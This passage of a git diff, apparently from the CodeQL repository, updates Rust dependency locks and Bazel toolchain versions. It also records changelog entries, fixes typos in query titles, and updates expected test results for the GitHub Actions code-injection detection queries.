+ "proc-macro2",
+ "quote",
+ "syn",
+]
+
+[[package]]
+name = "windows-interface"
+version = "0.58.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn",
+]
+
+[[package]]
+name = "windows-link"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38"
+
+[[package]]
+name = "windows-result"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e"
+dependencies = [
+ "windows-targets 0.52.6",
+]
+
+[[package]]
+name = "windows-strings"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10"
+dependencies = [
+ "windows-result",
+ "windows-targets 0.52.6",
+]
+
 [[package]]
 name = "windows-sys"
 version = "0.48.0"
@@ -2773,13 +2982,22 @@ checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
 
 [[package]]
 name = "winnow"
-version = "0.6.24"
+version = "0.7.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8d71a593cc5c42ad7876e2c1fda56f314f3754c084128833e64f1345ff8a03a"
+checksum = "0e7f4ea97f6f78012141bcdb6a216b2609f0979ada50b20ca5b52dde2eac2bb1"
 dependencies = [
  "memchr",
 ]
 
+[[package]]
+name = "wit-bindgen-rt"
+version = "0.33.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3268f3d866458b787f390cf61f4bbb563b922d091359f9608842999eaee3943c"
+dependencies = [
+ "bitflags 2.8.0",
+]
+
 [[package]]
 name = "yansi"
 version = "1.0.1"
@@ -2793,7 +3011,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0"
 dependencies = [
  "byteorder",
- "zerocopy-derive",
+ "zerocopy-derive 0.7.35",
+]
+
+[[package]]
+name = "zerocopy"
+version = "0.8.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dde3bb8c68a8f3f1ed4ac9221aad6b10cece3e60a8e2ea54a6a2dec806d0084c"
+dependencies = [
+ "zerocopy-derive 0.8.20",
 ]
 
 [[package]]
@@ -2806,3 +3033,14 @@ dependencies = [
  "quote",
  "syn",
 ]
+
+[[package]]
+name = "zerocopy-derive"
+version = "0.8.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "eea57037071898bf96a6da35fd626f4f27e9cee3ead2a6c703cf09d472b2e700"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn",
+]
diff --git a/MODULE.bazel b/MODULE.bazel
index 427f450e7fcf..fe418cd40c6d 100644
--- a/MODULE.bazel
+++ b/MODULE.bazel
@@ -28,16 +28,16 @@ bazel_dep(name = "rules_kotlin", version = "2.0.0-codeql.1")
 bazel_dep(name = "gazelle", version = "0.40.0")
 bazel_dep(name = "rules_dotnet", version = "0.17.4")
 bazel_dep(name = "googletest", version = "1.14.0.bcr.1")
-bazel_dep(name = "rules_rust", version = "0.57.1")
+bazel_dep(name = "rules_rust", version = "0.58.0")
 bazel_dep(name = "zstd", version = "1.5.5.bcr.1")
 
 bazel_dep(name = "buildifier_prebuilt", version = "6.4.0", dev_dependency = True)
 
 # Keep edition and version approximately in sync with internal repo.
 # the versions there are canonical, the versions here are used for CI in github/codeql, as well as for the vendoring of dependencies.
-RUST_EDITION = "2021"
+RUST_EDITION = "2024"
 
-RUST_VERSION = "1.82.0"
+RUST_VERSION = "1.85.0"
 
 rust = use_extension("@rules_rust//rust:extensions.bzl", "rust")
 rust.toolchain(
@@ -71,57 +71,59 @@ use_repo(
 tree_sitter_extractors_deps = use_extension("//misc/bazel/3rdparty:tree_sitter_extractors_extension.bzl", "r")
 use_repo(
     tree_sitter_extractors_deps,
-    "vendor__anyhow-1.0.95",
-    "vendor__argfile-0.2.1",
-    "vendor__chrono-0.4.39",
-    "vendor__clap-4.5.26",
-    "vendor__dunce-1.0.5",
-    "vendor__either-1.13.0",
-    "vendor__encoding-0.2.33",
-    "vendor__figment-0.10.19",
-    "vendor__flate2-1.0.35",
-    "vendor__glob-0.3.2",
-    "vendor__globset-0.4.15",
-    "vendor__itertools-0.14.0",
-    "vendor__lazy_static-1.5.0",
-    "vendor__mustache-0.9.0",
-    "vendor__num-traits-0.2.19",
-    "vendor__num_cpus-1.16.0",
-    "vendor__proc-macro2-1.0.93",
-    "vendor__quote-1.0.38",
-    "vendor__ra_ap_base_db-0.0.258",
-    "vendor__ra_ap_cfg-0.0.258",
-    "vendor__ra_ap_hir-0.0.258",
-    "vendor__ra_ap_hir_def-0.0.258",
-    "vendor__ra_ap_hir_expand-0.0.258",
-    "vendor__ra_ap_ide_db-0.0.258",
-    "vendor__ra_ap_intern-0.0.258",
-    "vendor__ra_ap_load-cargo-0.0.258",
-    "vendor__ra_ap_parser-0.0.258",
-    "vendor__ra_ap_paths-0.0.258",
-    "vendor__ra_ap_project_model-0.0.258",
-    "vendor__ra_ap_span-0.0.258",
-    "vendor__ra_ap_stdx-0.0.258",
-    "vendor__ra_ap_syntax-0.0.258",
-    "vendor__ra_ap_vfs-0.0.258",
-    "vendor__rand-0.8.5",
-    "vendor__rayon-1.10.0",
-    "vendor__regex-1.11.1",
-    "vendor__serde-1.0.217",
-    "vendor__serde_json-1.0.135",
-    "vendor__serde_with-3.12.0",
-    "vendor__syn-2.0.96",
-    "vendor__toml-0.8.19",
-    "vendor__tracing-0.1.41",
-    "vendor__tracing-flame-0.2.0",
-    "vendor__tracing-subscriber-0.3.19",
-    "vendor__tree-sitter-0.24.6",
-    "vendor__tree-sitter-embedded-template-0.23.2",
-    "vendor__tree-sitter-json-0.24.8",
-    "vendor__tree-sitter-ql-0.23.1",
-    "vendor__tree-sitter-ruby-0.23.1",
-    "vendor__triomphe-0.1.14",
-    "vendor__ungrammar-1.16.1",
+    "vendor_ts__anyhow-1.0.97",
+    "vendor_ts__argfile-0.2.1",
+    "vendor_ts__chalk-ir-0.100.0",
+    "vendor_ts__chrono-0.4.40",
+    "vendor_ts__clap-4.5.32",
+    "vendor_ts__dunce-1.0.5",
+    "vendor_ts__either-1.15.0",
+    "vendor_ts__encoding-0.2.33",
+    "vendor_ts__figment-0.10.19",
+    "vendor_ts__flate2-1.1.0",
+    "vendor_ts__glob-0.3.2",
+    "vendor_ts__globset-0.4.15",
+    "vendor_ts__itertools-0.14.0",
+    "vendor_ts__lazy_static-1.5.0",
+    "vendor_ts__mustache-0.9.0",
+    "vendor_ts__num-traits-0.2.19",
+    "vendor_ts__num_cpus-1.16.0",
+    "vendor_ts__proc-macro2-1.0.94",
+    "vendor_ts__quote-1.0.40",
+    "vendor_ts__ra_ap_base_db-0.0.270",
+    "vendor_ts__ra_ap_cfg-0.0.270",
+    "vendor_ts__ra_ap_hir-0.0.270",
+    "vendor_ts__ra_ap_hir_def-0.0.270",
+    "vendor_ts__ra_ap_hir_expand-0.0.270",
+    "vendor_ts__ra_ap_hir_ty-0.0.270",
+    "vendor_ts__ra_ap_ide_db-0.0.270",
+    "vendor_ts__ra_ap_intern-0.0.270",
+    "vendor_ts__ra_ap_load-cargo-0.0.270",
+    "vendor_ts__ra_ap_parser-0.0.270",
+    "vendor_ts__ra_ap_paths-0.0.270",
+    "vendor_ts__ra_ap_project_model-0.0.270",
+    "vendor_ts__ra_ap_span-0.0.270",
+    "vendor_ts__ra_ap_stdx-0.0.270",
+    "vendor_ts__ra_ap_syntax-0.0.270",
+    "vendor_ts__ra_ap_vfs-0.0.270",
+    "vendor_ts__rand-0.9.0",
+    "vendor_ts__rayon-1.10.0",
+    "vendor_ts__regex-1.11.1",
+    "vendor_ts__serde-1.0.219",
+    "vendor_ts__serde_json-1.0.140",
+    "vendor_ts__serde_with-3.12.0",
+    "vendor_ts__syn-2.0.100",
+    "vendor_ts__toml-0.8.20",
+    "vendor_ts__tracing-0.1.41",
+    "vendor_ts__tracing-flame-0.2.0",
+    "vendor_ts__tracing-subscriber-0.3.19",
+    "vendor_ts__tree-sitter-0.24.6",
+    "vendor_ts__tree-sitter-embedded-template-0.23.2",
+    "vendor_ts__tree-sitter-json-0.24.8",
+    "vendor_ts__tree-sitter-ql-0.23.1",
+    "vendor_ts__tree-sitter-ruby-0.23.1",
+    "vendor_ts__triomphe-0.1.14",
+    "vendor_ts__ungrammar-1.16.1",
 )
 
 http_archive = use_repo_rule("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
@@ -153,7 +155,7 @@ use_repo(csharp_main_extension, "paket.main")
 pip = use_extension("@rules_python//python/extensions:pip.bzl", "pip")
 pip.parse(
     hub_name = "codegen_deps",
-    python_version = "3.11",
+    python_version = "3.12",
     requirements_lock = "//misc/codegen:requirements_lock.txt",
 )
 use_repo(pip, "codegen_deps")
diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md
index 465cd145d436..6b69ddec1aa0 100644
--- a/actions/ql/lib/CHANGELOG.md
+++ b/actions/ql/lib/CHANGELOG.md
@@ -1,3 +1,10 @@
+## 0.4.6
+
+### Bug Fixes
+
+* The query `actions/code-injection/medium` now produces alerts for injection
+  vulnerabilities on `pull_request` events.
+
 ## 0.4.5
 
 No user-facing changes.
diff --git a/actions/ql/lib/change-notes/released/0.4.6.md b/actions/ql/lib/change-notes/released/0.4.6.md
new file mode 100644
index 000000000000..49cbcbb63a27
--- /dev/null
+++ b/actions/ql/lib/change-notes/released/0.4.6.md
@@ -0,0 +1,6 @@
+## 0.4.6
+
+### Bug Fixes
+
+* The query `actions/code-injection/medium` now produces alerts for injection
+  vulnerabilities on `pull_request` events.
diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml
index 466cd01cf4e7..2b842473675e 100644
--- a/actions/ql/lib/codeql-pack.release.yml
+++ b/actions/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.4.5
+lastReleaseVersion: 0.4.6
diff --git a/actions/ql/lib/ext/config/context_event_map.yml b/actions/ql/lib/ext/config/context_event_map.yml
index 930a4344e12e..541ac8b9a8f6 100644
--- a/actions/ql/lib/ext/config/context_event_map.yml
+++ b/actions/ql/lib/ext/config/context_event_map.yml
@@ -30,6 +30,9 @@ extensions:
       - ["pull_request_review_comment", "github.event.review"] 
       - ["pull_request_review_comment", "github.head_ref"] 
       - ["pull_request_review_comment", "github.event.changes"] 
+      - ["pull_request", "github.event.pull_request"] 
+      - ["pull_request", "github.head_ref"] 
+      - ["pull_request", "github.event.changes"] 
       - ["pull_request_target", "github.event.pull_request"] 
       - ["pull_request_target", "github.head_ref"] 
       - ["pull_request_target", "github.event.changes"] 
diff --git a/actions/ql/lib/ext/config/externally_triggereable_events.yml b/actions/ql/lib/ext/config/externally_triggereable_events.yml
index e1bfca52ea79..ae47c684095d 100644
--- a/actions/ql/lib/ext/config/externally_triggereable_events.yml
+++ b/actions/ql/lib/ext/config/externally_triggereable_events.yml
@@ -12,6 +12,7 @@ extensions:
       - ["pull_request_comment"]
       - ["pull_request_review"]
       - ["pull_request_review_comment"]
+      - ["pull_request"]
       - ["pull_request_target"]
       - ["workflow_run"] # depending on branch filter
       - ["workflow_call"] # depending on caller
diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml
index bb34bc4cf152..2362bf619f74 100644
--- a/actions/ql/lib/qlpack.yml
+++ b/actions/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/actions-all
-version: 0.4.5
+version: 0.4.6
 library: true
 warnOnImplicitThis: true
 dependencies:
diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md
index bd465cd8a20d..c2b0d353f185 100644
--- a/actions/ql/src/CHANGELOG.md
+++ b/actions/ql/src/CHANGELOG.md
@@ -1,3 +1,11 @@
+## 0.5.3
+
+### Bug Fixes
+
+* Fixed typos in the query and alert titles for the queries
+  `actions/envpath-injection/critical`, `actions/envpath-injection/medium`,
+  `actions/envvar-injection/critical`, and `actions/envvar-injection/medium`.
+
 ## 0.5.2
 
 No user-facing changes.
@@ -7,9 +15,10 @@ No user-facing changes.
 ### Bug Fixes
 
 * The `actions/unversioned-immutable-action` query will no longer report any alerts, since the
-  Immutable Actions feature is not yet available for customer use. The query remains in the
-  default Code Scanning suites for use internal to GitHub. Once the Immutable Actions feature is
-  available, the query will be updated to report alerts again.
+  Immutable Actions feature is not yet available for customer use. The query has also been moved
+  to the experimental folder and will not be used in code scanning unless it is explicitly added
+  to a code scanning configuration. Once the Immutable Actions feature is available, the query will
+  be updated to report alerts again.
 
 ## 0.5.0
 
diff --git a/actions/ql/src/Security/CWE-077/EnvPathInjectionCritical.ql b/actions/ql/src/Security/CWE-077/EnvPathInjectionCritical.ql
index 3bb1558788a6..3e6d63a4604d 100644
--- a/actions/ql/src/Security/CWE-077/EnvPathInjectionCritical.ql
+++ b/actions/ql/src/Security/CWE-077/EnvPathInjectionCritical.ql
@@ -1,5 +1,5 @@
 /**
- * @name PATH Enviroment Variable built from user-controlled sources
+ * @name PATH environment variable built from user-controlled sources
  * @description Building the PATH environment variable from user-controlled sources may alter the execution of following system commands
  * @kind path-problem
  * @problem.severity error
diff --git a/actions/ql/src/Security/CWE-077/EnvPathInjectionMedium.ql b/actions/ql/src/Security/CWE-077/EnvPathInjectionMedium.ql
index b49cfb082254..9ea65c6d2ffc 100644
--- a/actions/ql/src/Security/CWE-077/EnvPathInjectionMedium.ql
+++ b/actions/ql/src/Security/CWE-077/EnvPathInjectionMedium.ql
@@ -1,5 +1,5 @@
 /**
- * @name PATH Enviroment Variable built from user-controlled sources
+ * @name PATH environment variable built from user-controlled sources
  * @description Building the PATH environment variable from user-controlled sources may alter the execution of following system commands
  * @kind path-problem
  * @problem.severity error
diff --git a/actions/ql/src/Security/CWE-077/EnvVarInjectionCritical.ql b/actions/ql/src/Security/CWE-077/EnvVarInjectionCritical.ql
index 13086c630808..28ad3b5b5d28 100644
--- a/actions/ql/src/Security/CWE-077/EnvVarInjectionCritical.ql
+++ b/actions/ql/src/Security/CWE-077/EnvVarInjectionCritical.ql
@@ -1,5 +1,5 @@
 /**
- * @name Enviroment Variable built from user-controlled sources
+ * @name Environment variable built from user-controlled sources
  * @description Building an environment variable from user-controlled sources may alter the execution of following system commands
  * @kind path-problem
  * @problem.severity error
diff --git a/actions/ql/src/Security/CWE-077/EnvVarInjectionMedium.ql b/actions/ql/src/Security/CWE-077/EnvVarInjectionMedium.ql
index a3285b2e945e..8bfd174e8f00 100644
--- a/actions/ql/src/Security/CWE-077/EnvVarInjectionMedium.ql
+++ b/actions/ql/src/Security/CWE-077/EnvVarInjectionMedium.ql
@@ -1,5 +1,5 @@
 /**
- * @name Enviroment Variable built from user-controlled sources
+ * @name Environment variable built from user-controlled sources
  * @description Building an environment variable from user-controlled sources may alter the execution of following system commands
  * @kind path-problem
  * @problem.severity error
diff --git a/actions/ql/src/Security/CWE-829/ArtifactPoisoningCritical.md b/actions/ql/src/Security/CWE-829/ArtifactPoisoningCritical.md
index 9b1782d6ba84..aa7bcf4b0bf7 100644
--- a/actions/ql/src/Security/CWE-829/ArtifactPoisoningCritical.md
+++ b/actions/ql/src/Security/CWE-829/ArtifactPoisoningCritical.md
@@ -43,7 +43,7 @@ jobs:
 The following example, correctly creates a temporary directory and extracts the contents of the artifact there before calling `cmd.sh`.
 
 ```yaml
-name: Insecure Workflow
+name: Secure Workflow
 
 on:
   workflow_run:
diff --git a/actions/ql/src/Security/CWE-829/ArtifactPoisoningMedium.md b/actions/ql/src/Security/CWE-829/ArtifactPoisoningMedium.md
index 9b1782d6ba84..aa7bcf4b0bf7 100644
--- a/actions/ql/src/Security/CWE-829/ArtifactPoisoningMedium.md
+++ b/actions/ql/src/Security/CWE-829/ArtifactPoisoningMedium.md
@@ -43,7 +43,7 @@ jobs:
 The following example, correctly creates a temporary directory and extracts the contents of the artifact there before calling `cmd.sh`.
 
 ```yaml
-name: Insecure Workflow
+name: Secure Workflow
 
 on:
   workflow_run:
diff --git a/actions/ql/src/change-notes/released/0.5.1.md b/actions/ql/src/change-notes/released/0.5.1.md
index b6b4341bae64..e81582aa586c 100644
--- a/actions/ql/src/change-notes/released/0.5.1.md
+++ b/actions/ql/src/change-notes/released/0.5.1.md
@@ -3,6 +3,7 @@
 ### Bug Fixes
 
 * The `actions/unversioned-immutable-action` query will no longer report any alerts, since the
-  Immutable Actions feature is not yet available for customer use. The query remains in the
-  default Code Scanning suites for use internal to GitHub. Once the Immutable Actions feature is
-  available, the query will be updated to report alerts again.
+  Immutable Actions feature is not yet available for customer use. The query has also been moved
+  to the experimental folder and will not be used in code scanning unless it is explicitly added
+  to a code scanning configuration. Once the Immutable Actions feature is available, the query will
+  be updated to report alerts again.
diff --git a/actions/ql/src/change-notes/released/0.5.3.md b/actions/ql/src/change-notes/released/0.5.3.md
new file mode 100644
index 000000000000..b8c6dc4fa8d4
--- /dev/null
+++ b/actions/ql/src/change-notes/released/0.5.3.md
@@ -0,0 +1,7 @@
+## 0.5.3
+
+### Bug Fixes
+
+* Fixed typos in the query and alert titles for the queries
+  `actions/envpath-injection/critical`, `actions/envpath-injection/medium`,
+  `actions/envvar-injection/critical`, and `actions/envvar-injection/medium`.
diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml
index 2d9d3f587f82..2164e038a5d1 100644
--- a/actions/ql/src/codeql-pack.release.yml
+++ b/actions/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.5.2
+lastReleaseVersion: 0.5.3
diff --git a/actions/ql/src/codeql-suites/actions-ccr.qls b/actions/ql/src/codeql-suites/actions-code-quality.qls
similarity index 100%
rename from actions/ql/src/codeql-suites/actions-ccr.qls
rename to actions/ql/src/codeql-suites/actions-code-quality.qls
diff --git a/actions/ql/src/codeql-suites/actions-security-and-quality.qls b/actions/ql/src/codeql-suites/actions-security-and-quality.qls
index 046d8d367646..91b120e2143c 100644
--- a/actions/ql/src/codeql-suites/actions-security-and-quality.qls
+++ b/actions/ql/src/codeql-suites/actions-security-and-quality.qls
@@ -1,2 +1,4 @@
 - description: Security-and-quality queries for GitHub Actions
-- import: codeql-suites/actions-security-extended.qls
+- queries: .
+- apply: security-and-quality-selectors.yml
+  from: codeql/suite-helpers
diff --git a/actions/ql/src/codeql-suites/actions-security-experimental.qls b/actions/ql/src/codeql-suites/actions-security-experimental.qls
index e2e8a3eda881..769535b1324d 100644
--- a/actions/ql/src/codeql-suites/actions-security-experimental.qls
+++ b/actions/ql/src/codeql-suites/actions-security-experimental.qls
@@ -1,2 +1,4 @@
 - description: Extended and experimental security queries for GitHub Actions
-- import: codeql-suites/actions-code-scanning.qls
+- queries: .
+- apply: security-experimental-selectors.yml
+  from: codeql/suite-helpers
diff --git a/actions/ql/src/Security/CWE-829/UnversionedImmutableAction.md b/actions/ql/src/experimental/Security/CWE-829/UnversionedImmutableAction.md
similarity index 100%
rename from actions/ql/src/Security/CWE-829/UnversionedImmutableAction.md
rename to actions/ql/src/experimental/Security/CWE-829/UnversionedImmutableAction.md
diff --git a/actions/ql/src/Security/CWE-829/UnversionedImmutableAction.ql b/actions/ql/src/experimental/Security/CWE-829/UnversionedImmutableAction.ql
similarity index 96%
rename from actions/ql/src/Security/CWE-829/UnversionedImmutableAction.ql
rename to actions/ql/src/experimental/Security/CWE-829/UnversionedImmutableAction.ql
index 8cc79b1091a5..89b28f26520c 100644
--- a/actions/ql/src/Security/CWE-829/UnversionedImmutableAction.ql
+++ b/actions/ql/src/experimental/Security/CWE-829/UnversionedImmutableAction.ql
@@ -8,6 +8,7 @@
  * @tags security
  *       actions
  *       internal
+ *       experimental
  *       external/cwe/cwe-829
  */
 
diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml
index 527daabd1836..d43eedd54449 100644
--- a/actions/ql/src/qlpack.yml
+++ b/actions/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/actions-queries
-version: 0.5.2
+version: 0.5.3
 library: false
 warnOnImplicitThis: true
 groups: [actions, queries]
@@ -8,3 +8,4 @@ extractor: actions
 defaultSuiteFile: codeql-suites/actions-code-scanning.qls
 dependencies:
   codeql/actions-all: ${workspace}
+  codeql/suite-helpers: ${workspace}
diff --git a/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionCritical.expected b/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionCritical.expected
index d44205e4fb92..af788f6280b2 100644
--- a/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionCritical.expected
+++ b/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionCritical.expected
@@ -400,6 +400,7 @@ nodes
 | .github/workflows/level0.yml:44:20:44:49 | github.event.issue.body | semmle.label | github.event.issue.body |
 | .github/workflows/level0.yml:69:35:69:66 | github.event.comment.body | semmle.label | github.event.comment.body |
 | .github/workflows/level1.yml:37:38:37:81 | github.event.workflow_run.head_branch | semmle.label | github.event.workflow_run.head_branch |
+| .github/workflows/priv_pull_request.yml:14:21:14:57 | github.event.pull_request.body | semmle.label | github.event.pull_request.body |
 | .github/workflows/pull_request_review.yml:7:19:7:56 | github.event.pull_request.title | semmle.label | github.event.pull_request.title |
 | .github/workflows/pull_request_review.yml:8:19:8:55 | github.event.pull_request.body | semmle.label | github.event.pull_request.body |
 | .github/workflows/pull_request_review.yml:9:19:9:61 | github.event.pull_request.head.label | semmle.label | github.event.pull_request.head.label |
@@ -629,6 +630,7 @@ nodes
 | .github/workflows/test19.yml:124:9:129:6 | Run Step: title3 [title] | semmle.label | Run Step: title3 [title] |
 | .github/workflows/test19.yml:125:14:128:50 | TITLE=$(gh issue view "$ISSUE_NUMBER" --json title,author)\nTITLE=$(echo $TITLE \| jq -r '.title')\necho "title=$TITLE" >> "$GITHUB_OUTPUT"\n | semmle.label | TITLE=$(gh issue view "$ISSUE_NUMBER" --json title,author)\nTITLE=$(echo $TITLE \| jq -r '.title')\necho "title=$TITLE" >> "$GITHUB_OUTPUT"\n |
 | .github/workflows/test19.yml:129:21:129:52 | steps.title3.outputs.title | semmle.label | steps.title3.outputs.title |
+| .github/workflows/test20.yml:15:54:15:94 | github.event.pull_request.head.ref | semmle.label | github.event.pull_request.head.ref |
 | .github/workflows/test21.yml:22:35:22:73 | github.event.head_commit.message | semmle.label | github.event.head_commit.message |
 | .github/workflows/test21.yml:23:36:23:74 | github.event.head_commit.message | semmle.label | github.event.head_commit.message |
 | .github/workflows/test21.yml:24:50:24:88 | github.event.head_commit.message | semmle.label | github.event.head_commit.message |
diff --git a/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionMedium.expected b/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionMedium.expected
index 36b6019c10e9..6c948d9559ea 100644
--- a/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionMedium.expected
+++ b/actions/ql/test/query-tests/Security/CWE-094/CodeInjectionMedium.expected
@@ -400,6 +400,7 @@ nodes
 | .github/workflows/level0.yml:44:20:44:49 | github.event.issue.body | semmle.label | github.event.issue.body |
 | .github/workflows/level0.yml:69:35:69:66 | github.event.comment.body | semmle.label | github.event.comment.body |
 | .github/workflows/level1.yml:37:38:37:81 | github.event.workflow_run.head_branch | semmle.label | github.event.workflow_run.head_branch |
+| .github/workflows/priv_pull_request.yml:14:21:14:57 | github.event.pull_request.body | semmle.label | github.event.pull_request.body |
 | .github/workflows/pull_request_review.yml:7:19:7:56 | github.event.pull_request.title | semmle.label | github.event.pull_request.title |
 | .github/workflows/pull_request_review.yml:8:19:8:55 | github.event.pull_request.body | semmle.label | github.event.pull_request.body |
 | .github/workflows/pull_request_review.yml:9:19:9:61 | github.event.pull_request.head.label | semmle.label | github.event.pull_request.head.label |
@@ -629,6 +630,7 @@ nodes
 | .github/workflows/test19.yml:124:9:129:6 | Run Step: title3 [title] | semmle.label | Run Step: title3 [title] |
 | .github/workflows/test19.yml:125:14:128:50 | TITLE=$(gh issue view "$ISSUE_NUMBER" --json title,author)\nTITLE=$(echo $TITLE \| jq -r '.title')\necho "title=$TITLE" >> "$GITHUB_OUTPUT"\n | semmle.label | TITLE=$(gh issue view "$ISSUE_NUMBER" --json title,author)\nTITLE=$(echo $TITLE \| jq -r '.title')\necho "title=$TITLE" >> "$GITHUB_OUTPUT"\n |
 | .github/workflows/test19.yml:129:21:129:52 | steps.title3.outputs.title | semmle.label | steps.title3.outputs.title |
+| .github/workflows/test20.yml:15:54:15:94 | github.event.pull_request.head.ref | semmle.label | github.event.pull_request.head.ref |
 | .github/workflows/test21.yml:22:35:22:73 | github.event.head_commit.message | semmle.label | github.event.head_commit.message |
 | .github/workflows/test21.yml:23:36:23:74 | github.event.head_commit.message | semmle.label | github.event.head_commit.message |
 | .github/workflows/test21.yml:24:50:24:88 | github.event.head_commit.message | semmle.label | github.event.head_commit.message |
@@ -706,6 +708,7 @@ subpaths
 | .github/workflows/inter-job2.yml:45:20:45:53 | needs.job1.outputs.job_output | .github/workflows/inter-job2.yml:22:9:26:6 | Uses Step: source | .github/workflows/inter-job2.yml:45:20:45:53 | needs.job1.outputs.job_output | Potential code injection in $@, which may be controlled by an external user. | .github/workflows/inter-job2.yml:45:20:45:53 | needs.job1.outputs.job_output | ${{needs.job1.outputs.job_output}} |
 | .github/workflows/inter-job4.yml:44:20:44:53 | needs.job1.outputs.job_output | .github/workflows/inter-job4.yml:22:9:26:6 | Uses Step: source | .github/workflows/inter-job4.yml:44:20:44:53 | needs.job1.outputs.job_output | Potential code injection in $@, which may be controlled by an external user. | .github/workflows/inter-job4.yml:44:20:44:53 | needs.job1.outputs.job_output | ${{needs.job1.outputs.job_output}} |
 | .github/workflows/inter-job5.yml:45:20:45:53 | needs.job1.outputs.job_output | .github/workflows/inter-job5.yml:45:20:45:53 | needs.job1.outputs.job_output | .github/workflows/inter-job5.yml:45:20:45:53 | needs.job1.outputs.job_output | Potential code injection in $@, which may be controlled by an external user. | .github/workflows/inter-job5.yml:45:20:45:53 | needs.job1.outputs.job_output | ${{needs.job1.outputs.job_output}} |
+| .github/workflows/priv_pull_request.yml:14:21:14:57 | github.event.pull_request.body | .github/workflows/priv_pull_request.yml:14:21:14:57 | github.event.pull_request.body | .github/workflows/priv_pull_request.yml:14:21:14:57 | github.event.pull_request.body | Potential code injection in $@, which may be controlled by an external user. | .github/workflows/priv_pull_request.yml:14:21:14:57 | github.event.pull_request.body | ${{ github.event.pull_request.body }} |
 | .github/workflows/push.yml:7:19:7:57 | github.event.commits[11].message | .github/workflows/push.yml:7:19:7:57 | github.event.commits[11].message | .github/workflows/push.yml:7:19:7:57 | github.event.commits[11].message | Potential code injection in $@, which may be controlled by an external user. | .github/workflows/push.yml:7:19:7:57 | github.event.commits[11].message | ${{ github.event.commits[11].message }} |
 | .github/workflows/push.yml:8:19:8:62 | github.event.commits[11].author.email | .github/workflows/push.yml:8:19:8:62 | github.event.commits[11].author.email | .github/workflows/push.yml:8:19:8:62 | github.event.commits[11].author.email | Potential code injection in $@, which may be controlled by an external user. | .github/workflows/push.yml:8:19:8:62 | github.event.commits[11].author.email | ${{ github.event.commits[11].author.email }} |
 | .github/workflows/push.yml:9:19:9:61 | github.event.commits[11].author.name | .github/workflows/push.yml:9:19:9:61 | github.event.commits[11].author.name | .github/workflows/push.yml:9:19:9:61 | github.event.commits[11].author.name | Potential code injection in $@, which may be controlled by an external user. | .github/workflows/push.yml:9:19:9:61 | github.event.commits[11].author.name | ${{ github.event.commits[11].author.name }} |
diff --git a/actions/ql/test/query-tests/Security/CWE-829/UnversionedImmutableAction.qlref b/actions/ql/test/query-tests/Security/CWE-829/UnversionedImmutableAction.qlref
index 6ce4123fa5ed..1887390c0f3d 100644
--- a/actions/ql/test/query-tests/Security/CWE-829/UnversionedImmutableAction.qlref
+++ b/actions/ql/test/query-tests/Security/CWE-829/UnversionedImmutableAction.qlref
@@ -1 +1 @@
-Security/CWE-829/UnversionedImmutableAction.ql
\ No newline at end of file
+experimental/Security/CWE-829/UnversionedImmutableAction.ql
diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md
index 234a154fe456..e958516a5a43 100644
--- a/cpp/ql/lib/CHANGELOG.md
+++ b/cpp/ql/lib/CHANGELOG.md
@@ -1,3 +1,9 @@
+## 4.1.0
+
+### New Features
+
+* Added `Node.asUncertainDefinition` and `Node.asCertainDefinition` to the `DataFlow::Node` class for querying whether a definition overwrites the entire destination buffer.
+
 ## 4.0.3
 
 No user-facing changes.
diff --git a/cpp/ql/lib/change-notes/released/4.1.0.md b/cpp/ql/lib/change-notes/released/4.1.0.md
new file mode 100644
index 000000000000..0ba91f0fa68b
--- /dev/null
+++ b/cpp/ql/lib/change-notes/released/4.1.0.md
@@ -0,0 +1,5 @@
+## 4.1.0
+
+### New Features
+
+* Added `Node.asUncertainDefinition` and `Node.asCertainDefinition` to the `DataFlow::Node` class for querying whether a definition overwrites the entire destination buffer.
diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml
index f6bbc961bb14..d5b1bf88d10e 100644
--- a/cpp/ql/lib/codeql-pack.release.yml
+++ b/cpp/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
